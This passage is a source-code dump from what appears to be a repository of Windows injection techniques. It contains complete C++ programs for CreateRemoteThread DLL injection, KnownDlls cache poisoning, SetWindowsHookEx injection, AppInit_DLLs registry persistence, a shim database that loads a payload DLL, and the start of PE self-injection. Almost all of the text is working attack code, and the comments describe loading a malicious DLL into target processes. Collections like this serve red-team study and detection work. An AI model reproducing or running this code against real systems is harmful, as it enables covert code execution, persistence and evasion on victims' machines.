| { 124 | printf("[Error] - Failed to write dll path to AppInit_DLLs\n"); 125 | return 1; 126 | } 127 | 128 | printf("[Info] - Wrote LoadAppInit_DLLs for WoW64\n"); 129 | 130 | if (RegSetValueExA(wow64KeyHandle, "AppInit_DLLs", 0, REG_SZ, (const BYTE*)absoluteDllPath, strlen(absoluteDllPath) + 1) != ERROR_SUCCESS) 131 | { 132 | printf("[Error] - Failed to write dll path to AppInit_DLLs\n"); 133 | return 1; 134 | } 135 | 136 | printf("[Info] - Wrote AppInit_DLLs for WoW64\n"); 137 | } 138 | #endif 139 | 140 | 141 | return 0; 142 | } -------------------------------------------------------------------------------- /pe_injection/dll_injection/classic_dll_injection.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Injects a .dll file into a running process 3 | * Supports 32- and 64 Bit applications. 4 | * [Requirements] 5 | * - DLL file on disk 6 | */ 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | 14 | int main(int argc, char* argv[]) 15 | { 16 | char* processName; 17 | 18 | if (argc != 3) 19 | { 20 | printf("Usage: *.exe processName dllPath\n"); 21 | return 1; 22 | } 23 | 24 | processName = argv[1]; 25 | 26 | HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); 27 | if (processesSnapshot == INVALID_HANDLE_VALUE) 28 | { 29 | printf("[Error] %d - Failed to CreateToolhelp32Snapshot\n", GetLastError()); 30 | return 1; 31 | } 32 | 33 | // get first process of snapshot 34 | PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; 35 | if (!Process32First(processesSnapshot, &processEntry)) 36 | { 37 | printf("[Error] %d - Failed to Process32First\n", GetLastError()); 38 | return 1; 39 | } 40 | 41 | bool foundTargetProcess = false; 42 | // iterate processes 43 | do 44 | { 45 | // check if we found the target process 46 | if (strcmpi(processEntry.szExeFile, processName) == 0) 47 | { 48 | foundTargetProcess = true; 49 | break; 50 | } 51 | } while (Process32Next(processesSnapshot, &processEntry)); 52 | 53 | if (!foundTargetProcess) 54 | { 55 | printf("[Error] - Failed to find process: %s\n", processName); 56 | return 1; 57 | } 58 | 59 | printf("[Info] - Found Process %s with id %d\n", processName, processEntry.th32ProcessID); 60 | 61 | // acquire a handle to the target process 62 | HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); 63 | if (!targetProcessHandle) 64 | { 65 | printf("[Error] %d - Failed to acquire process handle\n", GetLastError()); 66 | return 1; 67 | } 68 | 69 | // allocate memory in target process 70 | LPVOID remoteMemory = VirtualAllocEx(targetProcessHandle, nullptr, MAX_PATH, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 71 | if (!remoteMemory) 72 | { 73 | printf("[Error] %d - Failed to allocate memory in target process\n", GetLastError()); 74 | return 1; 75 | } 76 | 77 | printf("[Info] - Allocated remote memory at %p\n", remoteMemory); 78 | 79 | DWORD loadDlls = 1; 80 | char absoluteDllPath[MAX_PATH + 1]; 81 | GetFullPathNameA(argv[2], MAX_PATH + 1, absoluteDllPath, NULL); 82 | // write path of .dll to target process 83 | if (!WriteProcessMemory(targetProcessHandle, remoteMemory, absoluteDllPath, strlen(absoluteDllPath), nullptr)) 84 | { 85 | printf("[Error] %d - Failed to write .dll path to target process\n", GetLastError()); 86 | return 1; 87 | } 88 | 89 | printf("[Info] - Wrote dll path %s to target process %s \n", absoluteDllPath, processName); 90 | 91 | // get handle to kernel32.dll (which is loaded by default) 92 | HMODULE kernel32ModuleHandle = GetModuleHandle("kernel32.dll"); 93 | if (!kernel32ModuleHandle) 94 | { 95 | printf("[Error] %d - Failed to get kernel32 module handle\n", GetLastError()); 96 | return 1; 97 | } 98 | 99 | // resolve address of LoadLibraryA 100 | FARPROC kernel32LoadLibrary = GetProcAddress(kernel32ModuleHandle, "LoadLibraryA"); 101 | if (!kernel32LoadLibrary) 102 | { 103 | printf("[Error] %d - Failed to resolve LoadLibraryA\n", GetLastError()); 104 | return 1; 105 | } 106 | 107 | printf("[Info] - Found LoadLibraryA at %p\n", kernel32LoadLibrary); 108 | 109 | // create a thread in the target process which loads the .dll 110 | HANDLE remoteThreadHandle = CreateRemoteThread( 111 | targetProcessHandle, 112 | nullptr, 113 | NULL, 114 | reinterpret_cast(kernel32LoadLibrary), 115 | remoteMemory, 116 | NULL, 117 | nullptr 118 | ); 119 | 120 | if (!remoteThreadHandle) 121 | { 122 | printf("[Error] %d - Failed to CreateRemoteThread\n", GetLastError()); 123 | return 1; 124 | } 125 | 126 | printf("[Info] - Created remote thread at %p\n", kernel32LoadLibrary); 127 | 128 | CloseHandle(remoteThreadHandle); 129 | CloseHandle(targetProcessHandle); 130 | } -------------------------------------------------------------------------------- /pe_injection/dll_injection/knowndllscache_injection.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Injects a .dll into notepad.exe by poisoning the KnownDlls cache to load a malicious dll instead of a benign 3 | * The current implementation does not support 32bit or WoW64 4 | * We can use any dll that is loaded into the process for the first time when doing a specific action and is a KnownDll. 5 | * examples found using x64 dbg log: 6 | ole32.dll - Loaded when typing into the notepad file 7 | comdlg32.dll - Loaded when saving the document 8 | nsi.dll - Loaded when printing the document 9 | * based on: https://www.codeproject.com/Articles/325603/Injection-into-a-Process-Using-KnownDlls, https://modexp.wordpress.com/2019/08/12/windows-process-injection-knowndlls/ 10 | */ 11 | 12 | #include 13 | #include 14 | #include 15 | 16 | #include "../../common/ntddk.h" 17 | 18 | 19 | // from https://github.com/frk1/PolandCheater-perfecthook/blob/master/PerfectHook/Utilities.cpp 20 | BYTE* FindBytePattern(const char* module, const char* signature) 21 | { 22 | static auto ConvertPatternToBytes = [](const char* pattern) 23 | { 24 | std::vector bytes = std::vector{}; 25 | char* start = const_cast(pattern); 26 | char* end = const_cast(pattern) + strlen(pattern); 27 | 28 | for (char* current = start; current < end; ++current) 29 | { 30 | if (*current == '?') 31 | { 32 | ++current; 33 | if (*current == '?') 34 | { 35 | ++current; 36 | } 37 | bytes.push_back(-1); 38 | } 39 | else 40 | { 41 | bytes.push_back(strtoul(current, ¤t, 16)); 42 | } 43 | } 44 | return bytes; 45 | }; 46 | 47 | BYTE* moduleBaseAddress = (BYTE*)GetModuleHandleA(module); 48 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBaseAddress; 49 | PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((std::uint8_t*)moduleBaseAddress + dosHeader->e_lfanew); 50 | 51 | auto sizeOfImage = ntHeaders->OptionalHeader.SizeOfImage; 52 | auto patternBytes = ConvertPatternToBytes(signature); 53 | uint8_t* currentAddress = reinterpret_cast(moduleBaseAddress); 54 | 55 | int patternSize = patternBytes.size(); 56 | int* patternData = patternBytes.data(); 57 | 58 | for (int i = 0; i < sizeOfImage - patternSize; ++i) 59 | { 60 | bool found = true; 61 | for (int j = 0; j < patternSize; ++j) 62 | { 63 | if (currentAddress[i + j] != patternData[j] && patternData[j] != -1) 64 | { 65 | found = false; 66 | break; 67 | } 68 | } 69 | if (found) 70 | { 71 | return ¤tAddress[i]; 72 | } 73 | } 74 | return nullptr; 75 | } 76 | 77 | 78 | bool PoisonKnownDllsCache(DWORD pid, char* payloadDll, wchar_t* originalKnownDll) 79 | { 80 | // open process for duplicating handle, suspending/resuming process 81 | HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 82 | if (!targetProcessHandle) 83 | { 84 | printf("[Error] %d - Failed to acquire notepad.exe process handle\n", GetLastError()); 85 | return false; 86 | } 87 | 88 | // we can search for this address in our own process since ASLR will be the same in the target process for ntdll 89 | // ntdll Windows 10 90 | // 8D 51 01 lea edx, [rcx+1] 91 | // 48 8D 0D 93 76 09 00 lea rcx, LdrpKnownDllDirectoryHandle 92 | BYTE* LdrpKnownDllDirectoryHandle = FindBytePattern("ntdll.dll", "8D 51 01 48 8D 0D"); 93 | 94 | if (!LdrpKnownDllDirectoryHandle) 95 | { 96 | // failed to find LdrpKnownDllDirectoryHandle address using Windows 10 byte pattern. Attempt Windows 7 x64 bye pattern next 97 | // ntdll Windows 7 x64 98 | // 8D 56 D3 lea edx, [rsi - 2Dh] 99 | // 48 8D 0D C7 F7 0F 00 lea rcx, LdrpKnownDllDirectoryHandle 100 | LdrpKnownDllDirectoryHandle = FindBytePattern("ntdll.dll", "8D 56 D3"); 101 | if (!LdrpKnownDllDirectoryHandle) 102 | { 103 | printf("[Error] - Failed to find LdrpKnownDllDirectoryHandle in ntdll using Win10 and Win7 byte patterns\n"); 104 | return false; 105 | } 106 | } 107 | 108 | // + 0x6 to skip the bytes of the previous instruction and the op code before the actual offset value 109 | int32_t relativeOffset = *(int32_t*)(LdrpKnownDllDirectoryHandle + 0x6); 110 | 111 | // + 0xA because the offset is relative from the start of the next instruction 112 | BYTE* originalKnownDllsHandleOffset = LdrpKnownDllDirectoryHandle + relativeOffset + 0xA; 113 | 114 | // note: there are methods to get this handle without RPM. For example to iterate over all handles and comparing for with "KnownDlls" name: NtQuerySystemInformation --> NtQueryObject: ObjectNameInformation 115 | HANDLE originalKnownDllsHandle; 116 | if (!ReadProcessMemory(targetProcessHandle, originalKnownDllsHandleOffset, &originalKnownDllsHandle, sizeof(HANDLE), nullptr)) 117 | { 118 | printf("[Error] - Failed to read original KnownDlls handle from notepad process\n"); 119 | return false; 120 | } 121 | 122 | printf("[Info] - originalKnownDllsHandle %p\n", originalKnownDllsHandle); 123 | 124 | // create directory 125 | HANDLE directoryHandle; 126 | OBJECT_ATTRIBUTES directoryAttributes; 127 | InitializeObjectAttributes(&directoryAttributes, NULL, 0, NULL, NULL); 128 | NTSTATUS status = NtCreateDirectoryObject(&directoryHandle, DIRECTORY_ALL_ACCESS, &directoryAttributes); 129 | 130 | // convert payload path to ntpath 131 | OBJECT_ATTRIBUTES fileAttributes; 132 | UNICODE_STRING fileName; 133 | wchar_t payloadDllW[MAX_PATH + 1]; 134 | mbstowcs_s(nullptr, payloadDllW, strlen(payloadDll) + 1, payloadDll, MAX_PATH); 135 | RtlDosPathNameToNtPathName_U(payloadDllW, &fileName, NULL, NULL); 136 | InitializeObjectAttributes(&fileAttributes, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL); 137 | 138 | // open payload file 139 | HANDLE fileHandle; 140 | IO_STATUS_BLOCK ioStatusBlock; 141 | status = NtOpenFile(&fileHandle, FILE_GENERIC_READ | FILE_GENERIC_WRITE | FILE_GENERIC_EXECUTE, &fileAttributes, &ioStatusBlock, FILE_SHARE_READ | FILE_SHARE_WRITE, 0); 142 | 143 | // convert KnownDll name to unicode 144 | OBJECT_ATTRIBUTES sectionAttributes; 145 | UNICODE_STRING sectionName; 146 | RtlInitUnicodeString(§ionName, originalKnownDll); 147 | InitializeObjectAttributes(§ionAttributes, §ionName, OBJ_CASE_INSENSITIVE, directoryHandle, NULL); 148 | 149 | // create section with the name of the KnownDll. 150 | // the loader will search for a section named \KnownDlls\ and map it into the process before continuing the regular search order 151 | HANDLE sectionHandle; 152 | status = NtCreateSection(§ionHandle, SECTION_ALL_ACCESS, §ionAttributes, NULL, PAGE_EXECUTE, SEC_IMAGE, fileHandle); 153 | 154 | // close the KnownDlls handle in remote process 155 | HANDLE duplicatedKnownDlls; 156 | if (!DuplicateHandle(targetProcessHandle, originalKnownDllsHandle, GetCurrentProcess(), &duplicatedKnownDlls, 0, TRUE, DUPLICATE_CLOSE_SOURCE)) 157 | { 158 | printf("[Error] - Failed to DuplicateHandle KnownDlls\n"); 159 | return false; 160 | } 161 | 162 | // we don't care about the duplicated handle. We just wanted to close the original one 163 | CloseHandle(duplicatedKnownDlls); 164 | 165 | // duplicate object directory for remote process 166 | HANDLE duplicatedDirectory; 167 | if (!DuplicateHandle(GetCurrentProcess(), directoryHandle, targetProcessHandle, &duplicatedDirectory, 0, TRUE, DUPLICATE_SAME_ACCESS)) 168 | { 169 | printf("[Error] - Failed to DuplicateHandle directory\n"); 170 | return false; 171 | } 172 | 173 | CloseHandle(targetProcessHandle); 174 | 175 | printf("[Info] - Type anything into the notepad to inject the payload dll\n"); 176 | return true; 177 | } 178 | 179 | bool PrintKnownDlls() 180 | { 181 | HKEY knownDllsKey; 182 | if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\KnownDLLs", 0, KEY_READ | KEY_QUERY_VALUE, &knownDllsKey)) 183 | { 184 | printf("[Warning] - Failed to open KnownDLLs registry key\n"); 185 | return false; 186 | } 187 | 188 | printf("[Info] - KnownDlls\n"); 189 | 190 | char name[MAX_PATH+1]; 191 | char valueName[MAX_PATH+1]; 192 | DWORD valueNameLength = MAX_PATH; 193 | DWORD namelen = MAX_PATH; 194 | int index = 0; 195 | while (!RegEnumValue(knownDllsKey, index++, valueName, &valueNameLength, NULL, NULL, (BYTE*)name, &namelen)) 196 | { 197 | printf("\t%s\n", name); 198 | valueNameLength = MAX_PATH; 199 | namelen = MAX_PATH; 200 | } 201 | RegCloseKey(knownDllsKey); 202 | return true; 203 | } 204 | 205 | int main(int argc, char* argv[]) 206 | { 207 | #ifdef _WIN64 208 | #else 209 | printf("[Error] - The current implementation only supports 64 bit due to not being able to aquire the needed KnownDlls handle in 32bit\n"); 210 | return 1; 211 | #endif 212 | char* cmdLine = "notepad"; 213 | 214 | #ifdef _DEBUG 215 | PrintKnownDlls(); 216 | #endif 217 | 218 | if (argc != 2) 219 | { 220 | printf("Usage: *.exe dllPath\n"); 221 | return 1; 222 | } 223 | 224 | STARTUPINFO startupInfo = {}; 225 | PROCESS_INFORMATION processInformation; 226 | if (!CreateProcess(NULL, cmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInformation)) 227 | { 228 | printf("[Error] %d - Failed to create notepad process\n", GetLastError()); 229 | return 1; 230 | } 231 | 232 | char absoluteDllPath[MAX_PATH + 1]; 233 | GetFullPathNameA(argv[1], MAX_PATH + 1, absoluteDllPath, NULL); 234 | if (!PoisonKnownDllsCache(processInformation.dwProcessId, absoluteDllPath, L"ole32.dll")) 235 | { 236 | printf("[Error] - Failed KnownDlls cache poisoning\n"); 237 | return 1; 238 | } 239 | 240 | printf("[Info] - Press any key to remove injection. We need to keep this process alive so the created section and object directory are valid\n"); 241 | getchar(); 242 | 243 | CloseHandle(processInformation.hThread); 244 | CloseHandle(processInformation.hProcess); 245 | return 0; 246 | } 247 | -------------------------------------------------------------------------------- /pe_injection/dll_injection/setwindowshook_injection.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * DLL injection using SetWindowsHookEx. Triggering the injection requires key presses. 3 | * Ensure you trigger injection on a program with the correct architecture (x86, x64). 4 | * Supports 32- and 64 Bit applications. 5 | * [Requirements] 6 | * - target process must load user32.dll 7 | */ 8 | 9 | #include 10 | #include 11 | 12 | 13 | int main(int argc, char* argv[]) 14 | { 15 | if (argc != 2) 16 | { 17 | printf("Usage: *.exe dllPath\n"); 18 | return 1; 19 | } 20 | 21 | char absoluteDllPath[MAX_PATH + 1]; 22 | GetFullPathNameA(argv[1], MAX_PATH + 1, absoluteDllPath, NULL); 23 | 24 | // load library to be injected 25 | HMODULE dllHandle = LoadLibrary(absoluteDllPath); 26 | if (!dllHandle) 27 | { 28 | printf("[Error] %d - Failed to load dll %s\n", GetLastError(), absoluteDllPath); 29 | return 1; 30 | } 31 | 32 | printf("[Info] - Loaded library %s\n", absoluteDllPath); 33 | 34 | // resolve SetWindowsHookCallback 35 | HOOKPROC windowsHookCallback = (HOOKPROC)GetProcAddress(dllHandle, "SetWindowsHookCallback"); 36 | if (!windowsHookCallback) 37 | { 38 | printf("[Error] %d - Failed to resolve the SetWindowsHookCallback\n", GetLastError()); 39 | return 1; 40 | } 41 | 42 | printf("[Info] - Resolved SetWindowsHook callback\n"); 43 | 44 | // install the hook 45 | HHOOK hookHandle = SetWindowsHookExA(WH_KEYBOARD, windowsHookCallback, dllHandle, 0); 46 | if (!hookHandle) 47 | { 48 | printf("[Error] %d - Failed to install hook\n", GetLastError()); 49 | return 1; 50 | } 51 | 52 | printf("[Info] - Installed hook\n"); 53 | printf("[Info] - Press any key to uhook\n"); 54 | 55 | // wait for a character press to unhook 56 | getchar(); 57 | 58 | // unhook 59 | UnhookWindowsHookEx(hookHandle); 60 | 61 | return 0; 62 | } -------------------------------------------------------------------------------- /pe_injection/dll_injection/shim_injection.cpp: -------------------------------------------------------------------------------- 1 | /** Creates a shim database(.sdb) file the database can be installed using the "sdbinst <*.sdb>" command which requires elevated privileges 2 | 3 | * Windows 7 64 bit (copy payload_dll.dll to: C:\Windows\AppPatch\AppPatch64\dll_payload.dll) 4 | * Windows 7 32bit works only using "Compatability Adminstrator 32 bit" and not on calc.exe (tested working with x32dbg.exe, pafish.exe) 5 | * - own implementation loads dll (sysinternals ProcMon) but crashes process 6 | * Windows 10 WoW64 works when using the "Compatability Adminstrator 32 bit" to apply the "InjectDll" fix. That fix is not available in 64 bit. 7 | * - own implemenation does not load dll 8 | * [Requirements] 9 | * - elevated privileges to installs shim 10 | * Based on: https://gist.github.com/w4kfu/95a87764db7029e03f09d78f7273c4f4, https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf 11 | */ 12 | 13 | // sdbinst creates registry keys: 14 | // HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom 15 | // HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB 16 | 17 | // default file paths 18 | // C:\Windows\AppPatch\*.dll 19 | // C:\Windows\AppPatch\AppPatch64\*.dll 20 | // C:\Windows\AppPatch\Custom\*.sdb 21 | // C:\Windows\AppPatch\Custom\Custom64\*.sdb 22 | 23 | 24 | #include 25 | #include 26 | 27 | #ifdef _WIN64 28 | #define OS_PLATFORM 4 29 | #else 30 | #define OS_PLATFORM 1 31 | #endif 32 | 33 | #define TAGID_NULL 0 34 | 35 | #define TAG_TYPE_LIST 0x7000 36 | #define TAG_DATABASE (0x1 | TAG_TYPE_LIST) 37 | #define TAG_LIBRARY (0x2 | TAG_TYPE_LIST) 38 | #define TAG_INEXCLUDE (0x3 | TAG_TYPE_LIST) 39 | #define TAG_SHIM (0x4 | TAG_TYPE_LIST) 40 | #define TAG_EXE (0x7 | TAG_TYPE_LIST) 41 | #define TAG_MATCHING_FILE (0x8 | TAG_TYPE_LIST) 42 | #define TAG_SHIM_REF (0x9 | TAG_TYPE_LIST) 43 | 44 | #define TAG_TYPE_DWORD 0x4000 45 | #define TAG_OS_PLATFORM (0x23| TAG_TYPE_DWORD) 46 | 47 | #define TAG_TYPE_STRINGREF 0x6000 48 | #define TAG_NAME (0x1 | TAG_TYPE_STRINGREF) 49 | #define TAG_MODULE (0x3 | TAG_TYPE_STRINGREF) 50 | #define TAG_APP_NAME (0x6 | TAG_TYPE_STRINGREF) 51 | #define TAG_DLLFILE (0xA | TAG_TYPE_STRINGREF) 52 | 53 | #define TAG_TYPE_BINARY 0x9000 54 | #define TAG_EXE_ID (0x4 | TAG_TYPE_BINARY) 55 | #define TAG_DATABASE_ID (0x7 | TAG_TYPE_BINARY) 56 | 57 | #define TAG_TYPE_NULL 0x1000 58 | #define TAG_INCLUDE (0x1 | TAG_TYPE_NULL) 59 | 60 | typedef enum _PATH_TYPE { 61 | DOS_PATH, 62 | NT_PATH 63 | } PATH_TYPE; 64 | 65 | typedef HANDLE PDB; 66 | typedef DWORD TAG; 67 | typedef DWORD INDEXID; 68 | typedef DWORD TAGID; 69 | 70 | using fnSdbCreateDatabase = PDB(WINAPI*)(LPCWSTR, PATH_TYPE); 71 | using fnSdbCloseDatabaseWrite = VOID(WINAPI*)(PDB); 72 | using fnSdbBeginWriteListTag = TAGID(WINAPI*)(PDB, TAG); 73 | using fnSdbEndWriteListTag = BOOL(WINAPI*)(PDB, TAGID); 74 | using fnSdbWriteStringTag = BOOL(WINAPI*)(PDB, TAG, LPCWSTR); 75 | using fnSdbWriteDWORDTag = BOOL(WINAPI*)(PDB, TAG, DWORD); 76 | using fnSdbWriteBinaryTag = BOOL(WINAPI*)(PDB, TAG, PBYTE, DWORD); 77 | using fnSdbWriteNULLTag = BOOL(WINAPI*)(PDB, TAG); 78 | 79 | fnSdbBeginWriteListTag SdbBeginWriteListTag = nullptr; 80 | fnSdbCloseDatabaseWrite SdbCloseDatabaseWrite = nullptr; 81 | fnSdbCreateDatabase SdbCreateDatabase = nullptr; 82 | fnSdbEndWriteListTag SdbEndWriteListTag = nullptr; 83 | fnSdbWriteBinaryTag SdbWriteBinaryTag = nullptr; 84 | fnSdbWriteDWORDTag SdbWriteDWORDTag = nullptr; 85 | fnSdbWriteStringTag SdbWriteStringTag = nullptr; 86 | fnSdbWriteNULLTag SdbWriteNULLTag = nullptr; 87 | 88 | bool CreateApplicationCompatibilityDatabase(wchar_t* processNameW, wchar_t* dllNameW) 89 | { 90 | PDB shimdb = SdbCreateDatabase(L"shim_injection.sdb", DOS_PATH); 91 | if (!shimdb) 92 | { 93 | printf("[Error] %d - Failed to create compatability database\n", GetLastError()); 94 | return false; 95 | } 96 | 97 | char binaryTag[] = "AAAAAAAAAAAAAAAA"; 98 | char tagDatabaseid[] = "BBBBBBBBBBBBBBBB"; 99 | 100 | TAGID tIdDatabase = SdbBeginWriteListTag(shimdb, TAG_DATABASE); 101 | SdbWriteDWORDTag(shimdb, TAG_OS_PLATFORM, OS_PLATFORM); 102 | SdbWriteStringTag(shimdb, TAG_NAME, L"shim_injection_database"); 103 | SdbWriteBinaryTag(shimdb, TAG_DATABASE_ID, (BYTE*)tagDatabaseid, strlen(tagDatabaseid)); 104 | 105 | TAGID tIdLibrary = SdbBeginWriteListTag(shimdb, TAG_LIBRARY); 106 | TAGID tIdShim = SdbBeginWriteListTag(shimdb, TAG_SHIM); 107 | SdbWriteStringTag(shimdb, TAG_NAME, L"shim_injection_shim"); 108 | SdbWriteStringTag(shimdb, TAG_DLLFILE, dllNameW); 109 | 110 | TAGID tIdInexclude = SdbBeginWriteListTag(shimdb, TAG_INEXCLUDE); 111 | SdbWriteNULLTag(shimdb, TAG_INCLUDE); 112 | SdbWriteStringTag(shimdb, TAG_MODULE, L"*"); 113 | SdbEndWriteListTag(shimdb, tIdInexclude); 114 | SdbEndWriteListTag(shimdb, tIdShim); 115 | SdbEndWriteListTag(shimdb, tIdLibrary); 116 | 117 | TAGID tIdExe = SdbBeginWriteListTag(shimdb, TAG_EXE); 118 | SdbWriteStringTag(shimdb, TAG_NAME, processNameW); 119 | SdbWriteStringTag(shimdb, TAG_APP_NAME, L"shim_injection_apps"); 120 | SdbWriteBinaryTag(shimdb, TAG_EXE_ID, (BYTE*)binaryTag, strlen(binaryTag)); 121 | 122 | TAGID tIdMatchingFile = SdbBeginWriteListTag(shimdb, TAG_MATCHING_FILE); 123 | SdbWriteStringTag(shimdb, TAG_NAME, L"*"); 124 | SdbEndWriteListTag(shimdb, tIdMatchingFile); 125 | 126 | TAGID tIdShimRef = SdbBeginWriteListTag(shimdb, TAG_SHIM_REF); 127 | SdbWriteStringTag(shimdb, TAG_NAME, L"shim_injection_shim"); 128 | SdbEndWriteListTag(shimdb, tIdShimRef); 129 | SdbEndWriteListTag(shimdb, tIdExe); 130 | SdbEndWriteListTag(shimdb, tIdDatabase); 131 | SdbCloseDatabaseWrite(shimdb); 132 | return TRUE; 133 | } 134 | 135 | int main(int argc, char* argv[]) 136 | { 137 | #ifdef _WIN64 138 | #else 139 | printf("[Error] - The current implementation only supports 64 bit\n"); 140 | return 1; 141 | #endif 142 | 143 | if (argc != 3) 144 | { 145 | printf("Usage: *.exe processName dllPath\n"); 146 | return 1; 147 | } 148 | 149 | wchar_t processNameW[MAX_PATH + 1]; 150 | mbstowcs_s(nullptr, processNameW, strlen(argv[1]) + 1, argv[1], MAX_PATH); 151 | 152 | wchar_t payloadDllW[MAX_PATH + 1]; 153 | mbstowcs_s(nullptr, payloadDllW, strlen(argv[2]) + 1, argv[2], MAX_PATH); 154 | 155 | HMODULE appHelpDllHandle = LoadLibraryA("apphelp.dll"); 156 | if (!appHelpDllHandle) 157 | { 158 | printf("[Error] %d - Failed to load apphelp.dll\n", GetLastError()); 159 | return 1; 160 | } 161 | 162 | // resolve required Sdb API functions 163 | // https://docs.microsoft.com/en-us/windows/win32/devnotes/application-compatibility-database 164 | SdbBeginWriteListTag = (fnSdbBeginWriteListTag)GetProcAddress(appHelpDllHandle, "SdbBeginWriteListTag"); 165 | SdbCloseDatabaseWrite = (fnSdbCloseDatabaseWrite)GetProcAddress(appHelpDllHandle, "SdbCloseDatabaseWrite"); 166 | SdbCreateDatabase = (fnSdbCreateDatabase)GetProcAddress(appHelpDllHandle, "SdbCreateDatabase"); 167 | SdbEndWriteListTag = (fnSdbEndWriteListTag)GetProcAddress(appHelpDllHandle, "SdbEndWriteListTag"); 168 | SdbWriteBinaryTag = (fnSdbWriteBinaryTag)GetProcAddress(appHelpDllHandle, "SdbWriteBinaryTag"); 169 | SdbWriteDWORDTag = (fnSdbWriteDWORDTag)GetProcAddress(appHelpDllHandle, "SdbWriteDWORDTag"); 170 | SdbWriteStringTag = (fnSdbWriteStringTag)GetProcAddress(appHelpDllHandle, "SdbWriteStringTag"); 171 | SdbWriteNULLTag = (fnSdbWriteNULLTag)GetProcAddress(appHelpDllHandle, "SdbWriteNULLTag"); 172 | 173 | if (!SdbBeginWriteListTag || !SdbCloseDatabaseWrite || !SdbCreateDatabase || !SdbEndWriteListTag || 174 | !SdbWriteBinaryTag || !SdbWriteDWORDTag || !SdbWriteStringTag || !SdbWriteNULLTag) 175 | { 176 | printf("[Error] %d - Failed to resolve a Sdb function in apphelp.dll\n", GetLastError()); 177 | return 1; 178 | } 179 | 180 | if (!CreateApplicationCompatibilityDatabase(processNameW, payloadDllW)) 181 | { 182 | printf("[Error] - Failed to create compatibility patch database\n"); 183 | return 1; 184 | } 185 | return 0; 186 | } -------------------------------------------------------------------------------- /pe_injection/pe_inject.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Demonstrates PE injection by injecting itself into another process. 3 | * Supports 32- and 64 Bit applications. 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | typedef struct BASE_RELOCATION_ENTRY { 12 | USHORT Offset : 12; 13 | USHORT Type : 4; 14 | } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; 15 | 16 | 17 | void InjectedFunction() 18 | { 19 | MessageBoxA(NULL, "Message from payload", "Injected payload", MB_OK); 20 | } 21 | 22 | int main(int argc, char* argv[]) 23 | { 24 | const char* processName; 25 | 26 | if (argc != 2) 27 | { 28 | printf("Usage: *.exe processName\n"); 29 | return 1; 30 | } 31 | 32 | printf("[Info] - My ProcessId %d\n", GetCurrentProcessId()); 33 | 34 | processName = argv[1]; 35 | 36 | HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); 37 | if (processesSnapshot == INVALID_HANDLE_VALUE) 38 | { 39 | printf("Error %d - Failed to CreateToolhelp32Snapshot\n", GetLastError()); 40 | return 1; 41 | } 42 | 43 | // get first process of snapshot 44 | PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; 45 | if (!Process32First(processesSnapshot, &processEntry)) 46 | { 47 | printf("Error %d - Failed to Process32First\n", GetLastError()); 48 | return 1; 49 | } 50 | 51 | bool foundTargetProcess = false; 52 | // iterate processes 53 | do 54 | { 55 | // check if we found the target process 56 | if (strcmpi(processEntry.szExeFile, processName) == 0) 57 | { 58 | foundTargetProcess = true; 59 | break; 60 | } 61 | } while (Process32Next(processesSnapshot, &processEntry)); 62 | 63 | if (!foundTargetProcess) 64 | { 65 | printf("Error - Failed to find process: %s\n", processName); 66 | return 1; 67 | } 68 | 69 | printf("[Info] - Found Process %s with id %d\n", processName, processEntry.th32ProcessID); 70 | 71 | HMODULE baseAddress = GetModuleHandle(NULL); 72 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress; 73 | PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((int8_t*)baseAddress + dosHeader->e_lfanew); 74 | 75 | int8_t* imageCopy = (int8_t*)malloc(ntHeader->OptionalHeader.SizeOfImage); 76 | if (!imageCopy) 77 | { 78 | printf("[Error] %d - Failed to allocate space for the PE header\n", GetLastError()); 79 | return 1; 80 | } 81 | 82 | // copy original image 83 | memcpy(imageCopy, baseAddress, ntHeader->OptionalHeader.SizeOfImage); 84 | 85 | // acquire a handle to the target process 86 | HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); 87 | if (!targetProcessHandle) 88 | { 89 | printf("[Error] %d - Failed to acquire process handle\n", GetLastError()); 90 | return 1; 91 | } 92 | 93 | printf("[Info] - Acquired process handle %p\n", targetProcessHandle); 94 | 95 | // allocate remote memory 96 | LPVOID remoteMemory = VirtualAllocEx(targetProcessHandle, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 97 | if (!remoteMemory) 98 | { 99 | printf("[Error] %d - Failed to allocate memory in target process\n", GetLastError()); 100 | return 1; 101 | } 102 | 103 | printf("[Info] - Allocated remote memory at %p\n", remoteMemory); 104 | 105 | // calculate the difference between the original base address and the remote memory as we need to account for it when relocating 106 | int64_t baseAddressDelta = (int64_t)remoteMemory - (int64_t)baseAddress; 107 | 108 | printf("[Info] - Image baseAddress: %p, remoteAddress: %p, absoluteDelta: %llx\n", baseAddress, remoteMemory, abs(baseAddressDelta)); 109 